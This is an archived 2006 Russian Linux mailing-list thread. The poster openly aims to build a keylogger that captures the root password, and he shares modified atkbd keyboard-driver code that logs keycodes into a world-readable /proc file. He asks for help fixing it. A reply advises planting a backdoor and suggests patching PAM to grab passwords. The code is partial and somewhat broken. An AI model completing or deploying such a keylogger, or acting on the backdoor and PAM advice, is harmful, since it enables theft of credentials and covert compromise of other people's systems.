Отправляет email-рассылки с помощью сервиса Sendsay

Клавиатурный шпион под линух

Здравствуйте.

Решил написать клавиатурный шпион, который будет записывать пароль roota.

Основной вопрос - как сохранить данные на диск?

В драйвере клавиатуры /drivers/input/keyboard/atkbd.c я создал файл в файловой
системе /proc - atkbd_init(), и ввёл операцию чтения - module_output(), в которой
буфер с символами - log_buf передаётся в user space. Что-то в этот файл пишется,
но явно не то, что надо.

В чём ошибка - неправильно работаю с /proc FS, неправильно считываю символы (функция
atkbd_report_key)? Что надо исправить?

Может быть сохранение данных лучше реализовывать по-другому, не через /proc FS
?

Как сразу из драйвера записать данные на диск?

#define BUF_SIZE 80

static struct proc_dir_entry *Our_Proc_File;

char log_buf[BUF_SIZE];

int log_index=0;

static void atkbd_report_key(struct input_dev *dev, struct pt_regs *regs, int
code, int value)

{

input_regs(dev, regs);

log_buf[log_index]=(char)(code&255); //заносим в буфер коды клавиш

log_index++;

if(log_index>=BUF_SIZE)log_index=0;

if (value == 3) {

input_report_key(dev, code, 1);

input_sync(dev);

input_report_key(dev, code, 0);

} else

input_event(dev, EV_KEY, code, value);

input_sync(dev);

}

#define PROC_ENTRY_FILENAME "rw_test"

static ssize_t module_output(struct file *filp, /* см. include/linux/fs.h */

char *buffer, /* буфер с данными */

size_t length, /* размер буфера */

loff_t * offset)

{

static int finished = 0;

int i;

//char message[MESSAGE_LENGTH + 30];

/*

* Для индикации признака конца файла возвращается 0.

* Если этого не сделать, процесс будет продолжать

* пытаться читать из файла,

* угодив в бесконечный цикл.

*/

if (finished) {

finished = 0;

return 0;

}

/*

* Для передачи данных из пространства ядра в пространство пользователя

* следует использовать put_user.

* В обратном направлении -- get_user.

*/

//sprintf(message, "Last input:%s", Message);

//printk("log_index=%d\n",log_index);

for (i = 0; i < log_index; i++)

{

//printk("i=%d\n",i);

put_user(log_buf[i], buffer + i);

}

/*

* Обратите внимание: в данной ситуации мы исходим из предположения,

* что размер сообщения меньше, чем len, в противном случае сообщение будт обрезано.

* В реальной ситуации, если длина сообщения больше чем

* len, то возвращается len, а остаток сообщения возвращается

* на последующих вызовах.

*/

finished = 1;

return i; /* Вернуть количество "прочитанных" байт */

}

/*static ssize_t

module_input(struct file *filp, const char *buff, size_t len, loff_t * off)

{

int i;

for (i = 0; i < MESSAGE_LENGTH - 1 && i < len; i++)

get_user(Message[i], buff + i);

Message[i] = '\0';

return i;

}*/

/*

* Эта функция принимает решение о праве на выполнение операций с файлом

* 0 -- разрешено, ненулеое значение -- запрещено.

*

* Операции с файлом могут быть:

* 0 - Исполнениеe (не имеет смысла в нашей ситуации)

* 2 - Запись (передача от пользователя к модулю ядра)

* 4 - Чтение (передача от модуля ядра к пользователю)

*

* Эта функция проверяет права доступа к файлу

* Права, выводимые командой ls -l

* могут быть проигнорированы здесь.

*/

static int module_permission(struct inode *inode, int op, struct nameidata *foo)

{

/*

* Позволим любому читать файл, но

* писать -- только root-у (uid 0)

*/

if (op == 4 || (op == 2 && current->euid == 0))

return 0;

/*

* Если что-то иное -- запретить доступ

*/

return -EACCES;

}

/*

* Файл открыт -- пока нам нет нужды беспокоиться о чем-то

* единственное, что нужно сделать -- это нарастить

* счетчик обращений к модулю.

*/

int module_open(struct inode *inode, struct file *file)

{

try_module_get(THIS_MODULE);

return 0;

}

/*

* Файл закрыт -- уменьшить счетчик обращений.

*/

int module_close(struct inode *inode, struct file *file)

{

module_put(THIS_MODULE);

return 0; /* все нормально! */

}

static struct file_operations File_Ops_4_Our_Proc_File = {

.read = module_output,

//.write = module_input,

.open = module_open,

.release = module_close,

};

/*

* Операции над индексной записью нашего файла. Необходима

* для того, чтобы указать местоположение структуры

* file_operations нашего файла, а так же, чтобы задать адрес

* функции определения прав доступа к файлу. Здесь можно указать адреса

* других функций-обработчиков, но нас они не интересуют.

*/

static struct inode_operations Inode_Ops_4_Our_Proc_File = {

.permission = module_permission, /* проверка прав доступа */

};

static int __init atkbd_init(void)

{

int rv = 0,i;

Our_Proc_File = create_proc_entry(PROC_ENTRY_FILEN&#0;ME, 0644, NULL);

Our_Proc_File->owner = THIS_MODULE;

Our_Proc_File->proc_iops = &Inode_Ops_4_Our_Proc_File;

Our_Proc_File->proc_fops = &File_Ops_4_Our_Proc_File;

Our_Proc_File->mode = S_IFREG | S_IRUGO | S_IWUSR;

Our_Proc_File->uid = 0;

Our_Proc_File->gid = 0;

Our_Proc_File->size = BUF_SIZE;

for(i=0;i<BUF_SIZE;i++)

{

log_buf[i]=0;

}

if (Our_Proc_File == NULL) {

rv = -ENOMEM;

remove_proc_entry(PROC_ENTRY_FILENAME, &proc_root);

printk(KERN_INFO "Error: Could not initialize /proc/test\n");

}

serio_register_driver(&atkbd_drv);

return 0;

}

-*Название листа "Linux: разрешение вопросов, перспективы и общение";
Написать в лист: mailto:comp.soft.linux.discuss-list@subscribe.ru
Адрес правил листа http://subscribe.ru/catalog/comp.soft.linux.discuss/rules
Номер письма: 28037; Возраст листа: 1161; Участников: 1704
Адрес сайта рассылки: http://www.linuxrsp.ru
Адрес этого письма в архиве: http://subscribe.ru/archive/comp.soft.linux.discuss/msg/595296

Ответить   "Denis Silin" Thu, 28 Sep 2006 18:59:48 +0400 (#595296)

 

Ответы:

Здравствуйте, Denis.

Вы писали 28 сентября 2006 г., 16:59:48:

(функция

sorry, не в тему, но возникает вопрос.
зачем пароль рута, если ты можешь (имеешь права) поставить свой
драйвер? ставь любой бэкдор и делай что угодно.
а что касается кодинга, то я бы вместо proc выбрал легкую правку PAM, благо
интерфейс там приятный и документации - вагон.

Ответить   Fri, 29 Sep 2006 16:23:24 +0200 (#595650)